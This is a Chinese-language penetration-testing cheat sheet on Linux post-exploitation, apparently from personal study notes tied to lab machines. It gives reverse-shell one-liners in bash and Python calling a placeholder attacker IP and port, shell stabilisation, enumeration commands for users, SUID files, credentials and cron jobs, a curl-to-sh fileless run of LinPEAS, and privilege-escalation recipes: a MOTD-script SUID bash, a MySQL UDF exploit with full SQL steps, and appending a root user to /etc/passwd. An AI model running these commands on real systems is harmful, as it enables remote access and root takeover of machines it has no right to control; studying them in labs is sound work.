跳转至

Linux

反弹shell的几种方式

  • bash
/bin/bash -i >& /dev/tcp/[ip]/[port] 0>&1
  • Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

终端升级与提高稳定性

shell升级为完整的tty

判断一个终端是否为完整的tty

tty

如果是完整的tty则结果为/dev/pts/0这样的设备路径,不是则返回not a tty

python -c "import pty;pty.spawn('/bin/bash')"
# CTRL + Z
stty raw -echo;fg
export TERM=xterm-color

或者

rlwrap nc -lvnp 1234

手工枚举

whoami

  1. id:显示用户的 UID(⽤户 ID)、GID(组 ID)以及所属的其他组的信息。

  2. who:显示当前登录的⽤户及相关信息,如登录时间、终端等。

  3. whoami:显示当前用户的用户名。

  4. w:提供关于当前登录用户户的详细信息,包括他们在做什么以及系统的负载信息。

  5. last:显示系统最近的登陆记录。

演示

image-20230923155952376

uname -a

更全的信息查看:uname -a ; lsb_release -a; cat /proc/version /etc/issue /etc/*-release

  1. uname -a:用于显示系统的相关信息,包括内核名称、主机名、内核发⾏版本、内核版本、硬件名称等。
  2. lsb_release -a:这个命令⽤于显示Linux标准基础(LSB)的发行信息。
  3. cat /proc/version:这个命令⽤于显示内核版本和编译信息。/proc/version ⽂件包含了内核版本、编译器版本和其他相关信息。要产看是否安装了GCC就可以用这条命令
  4. cat /etc/issue:这个命令用于查看系统发行版信息。/etc/issue我呢见包含了操作系统发行版名称和版本信息
  5. cat /etc/*-release:这个命令用于查看系统发行版的详细信息。这些文件通常包含操作系统的发⾏名称、版本、 代号等信息。

image-20230925161256958

ip addr

也可以写作 ip a ,旧版命令 ifconfig , 这些命令为我们提供有关网卡、网络配置的信息。多张网卡卡配 合路由信息可以发现内网网段

  1. ip route:用于查询路由表,route是过时的命令
  2. ip neigh:用于查询邻居表
  3. arp -a:用于显示arp缓存,可用于内网主机发现

image-20230925161337530

hostname

hostname命令用于获取目标机器的主机名。新内核的linux可用`hostnamectl

image-20230925161423654

sudo -l

列出允许用户以root权限运行某些命令。

image-20230925161440320

capabilities

用于检测capabilities,capabilities为进程提供了⼀部分可用的 root 权限子集。有效地将 root 权限划分成较小且独特的单元。然后,可以独立地将这些单元授予进程。这样,权限集合就会减少,降低了被利用的风险。

getcap / -r 2>/dev/null

ls -a

常用ls -alih,详细列出全部内容

image-20230925161921592

history

history用于查看历史命令,可以让我们了解⽬标系统,尽管很少,但可以存储诸如密码或用户名之类的信息。

image-20230925161945363

/etc/passwd

阅读/etc/passwd是发现系统上用户的简便方法

image-20230925162154333

cat /etc/passwd|cut -d : -f 1获取全部用户名

cat /etc/passwd|grep home获取真实用户

/etc/crontab

image-20230925162532837

crontab -l; cat /etc/crontab;cat /var/spool/cron/crontabs/root查看当前用户,系统级别和root用户的定时任务

env

查看环境变量

echo $PATH

image-20230925162844157

ps -ef

用来查看进程,各个字段的意义:

  1. PID:进程id
  2. TTY:用户使用的终端类型
  3. Time:进程使用的CPU时间
  4. CMD:正在运行的命令或可执行文件,不会显示参数
  1. ps -Aps -e:查看运行的所有进程
  2. ps axjf:查看进程树
  3. ps aux:显示所有用户的进程(a),显示启动进程的用户(u),显示未连接到终端的进程(x)
  4. top -n 1:top命令可以帮助用户监控系统性能,查看当前运行的进程以及资源使用的情况,-n指迭代次数

ps aux|grep root查看root用户的进程,便于发现服务提权

netstat

在对现有接⼝和网络路由进行初始检查后,值得查看现有通信。

  1. netstat -a:显示所有正在监听的端口和已经连接的会话
  2. netstat -atnetstat -au:分别列出tcp/udp协议
  3. netstat -l:列出处于监听模式的端口-lt-lu可分别列出tcp/udp端口
  4. netstat -s:按协议列出网络使用统计数据
  5. netstat -tp:列出服务名称和PID信息的连接,-ltp可列出端口信息
  6. netstat -i:显示接口统计信息
  7. netstat -ano:显示所有套接字,不解析名称,显示计时器

find

在目标系统上搜索重要信息和潜在的权限提升向量可能会有所收获。

find / -perm -u=s -type f 2>/dev/null:查找设置了SUID位的文件,这使我们可以以比当前⽤户更高的特权级别运行文件。

image-20230925164428954

配合https://gtfobins.github.io/以达到提权

find / -perm -ug=rwx -type f 2>/dev/null有读、写、执行权限的文件

find / -group users 2>/dev/null查找users组的所有文件

grep -R -i password /home/* 2> /dev/null枚举home目录下包含password关键字的文件

which

which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp tmux screen 2>/dev/null

  1. whereis: 用于查找⼆进制文件、源文件和man手册的位置。它只能查找系统默认路径中的文件,不会搜索其他目录或挂载的磁盘。
  2. locate: 使用本地数据库来快速查找指定文件的位置,它不会实时更新文件系统,所以可能会出现找不到文件的情况。为了保证正确性,可以使用updatedb命令更新数据库。
  3. type: 用于查找命令是否是内置命令、外部命令还是别名。如果是内置命令,则返回builtin,如果是外部命令,则返回可执行文件的位置。如果是别名,则返回别名定义的命令。
  4. apropos: 用于在系统的man手册中搜索与指定关键词相关的条目。它可以帮助用户快速找到与特定主题或命令相关的手册页。
  5. find: 用于在指定路径下递归搜索符合条件的文件。它可以根据文件名、文件类型、文件大小、文件权限等条件来搜索文件。
  6. grep: 用于在指定文件中查找符合条件的字符串。它支持正则表达式,可以快速查找文本文件中的关键词。
  7. where: 与which类似,但它可以同时查找多个命令,which只能查找单个命令。where命令会在系统PATH环境变量中指定的所有⽬录中查找,并返回找到的所有命令的位置。如果该命令在多个目录中都存在,则会返回所有找到的命令的位置。
  8. which:查找命令所在的位置,并返回找到的第⼀个命令的完整路径。它会在系统PATH环境变量中指定的目录中查找,并返回找到的第⼀个可执行文件的路径。如果该命令在多个目录中都存在,则只返回最先找到的那个命令的位置。因此,which命令通常用于查找可执行文件的位置。

/etc/fstab

检测未挂载的文件系统

image-20230925165503425

自动化枚举工具

常用工具

  1. LinPEAS:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum:https://github.com/rebootuser/LinEnum
  3. linux-smart-enumeration (lse):https://github.com/diego-treitos/linux-smart-enumeration
  4. linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester
  5. Linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker
  6. unix-privesc-check:https://github.com/pentestmonkey/unix-privesc-check

无文件落地

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

可使用openssl或者base64加密传输

靶机

MOTD文件提权

前提拥有一个用户的ssh登陆权限/etc/update-motd.d/00-header具有rw权限

echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
./bash -p

Mysql udf提权

https://tryhackme.com/room/linuxprivesc

连接ssh拿到初始立足点

找到udf的Exp/home/user/tools/mysql-udf/raptor_udf2.c

编译成动态链接库

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o exp.so raptor_udf2.o -lc

mysql -u root登录mysql

show global variables like "%secure%";可以进行udf提权

查询插件目录

image-20230925171753506

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/exp.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/exp.so';
create function do_system returns integer soname 'exp.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

如果mysql的插件目录可写,那么则不用考虑secure_file_priv

/tmp/rootbash -p

/etc/passwd提权

openssl passwd -1 salt user passwd
echo user:[password]:0:0:user:/root:/bin/bash >> /etc/passwd

或者直接编辑/etc/passwd替换root的密码字段

openssl passwd -1 -salt root 123456